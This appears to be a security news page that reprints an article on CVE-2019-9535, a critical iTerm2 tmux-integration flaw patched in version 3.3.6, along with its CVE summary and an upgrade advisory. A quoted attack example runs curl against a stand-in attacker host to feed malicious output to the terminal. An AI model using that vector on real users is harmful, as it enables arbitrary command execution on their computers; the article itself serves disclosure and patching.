Critical command execution vulnerability in iTerm2 patched, upgrade ASAP!
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2019-9535 | A vulnerability exists in the way that iTerm2 integrates with tmux's control mode, which may allow an attacker to execute arbitrary commands by providing malici A vulnerability exists in the way that iTerm2 integrates with tmux's control mode, which may allow an attacker to execute arbitrary commands by providing malicious output to the terminal. This affects versions of iTerm2 up to and including 3.3.5. This vulnerability may allow an attacker to execute arbitrary commands on their victim's computer by providing malicious output to the terminal. It could be exploited using command-line utilities that print attacker-controlled content. NVD description · AI analysis pending | 9.8 | 2% | PoC |
| — |
Full article266 words · extracted from helpnetsecurity.com · click to collapse
A critical vulnerability (CVE-2019-9535) in iTerm2, a macOS terminal emulator frequently used by developers and system administrators, could allow attackers to take control of a target system.
“An attacker who can produce output to the terminal can, in many cases, execute commands on the user’s computer,” Mozilla explained.
“Example attack vectors for this would be connecting to an attacker-controlled SSH server or commands like curl http://attacker.com and tail -f /var/log/apache2/referer_log. We expect the community will find many more creative examples.”
About the vulnerability (CVE-2019-9535)
The vulnerability is in the tmux integration feature of iTerm2 and has been present for at least seven years.
It was discovered by researchers with Radically Open Security, a non-profit computer security consultancy that performed a security audit of the popular open source terminal emulator.
The project was funded by the Mozilla Open Source Support Program (MOSS), which finances security audits for widely used open source software and the remedial work needed to fix the discovered problems.
No additional details about CVE-2019-9535 have been disclosed, though the change in the software’s code could provide some insight to those who can make sense of it.
“This is a serious security issue because in some circumstances it could allow an attacker to execute commands on your machine when you view a file or otherwise receive input they have crafted in iTerm2,” iTerm2 developer George Nachman noted in the changelog for v3.3.6, which fixes the flaw.
The issue affects all versions released before this last one. Users are urged to update manually instead of waiting for an update prompt from the software.
Text extracted automatically; images, tables and formatting may be missing. Original: https://www.helpnetsecurity.com/2019/10/10/iterm2-vulnerability/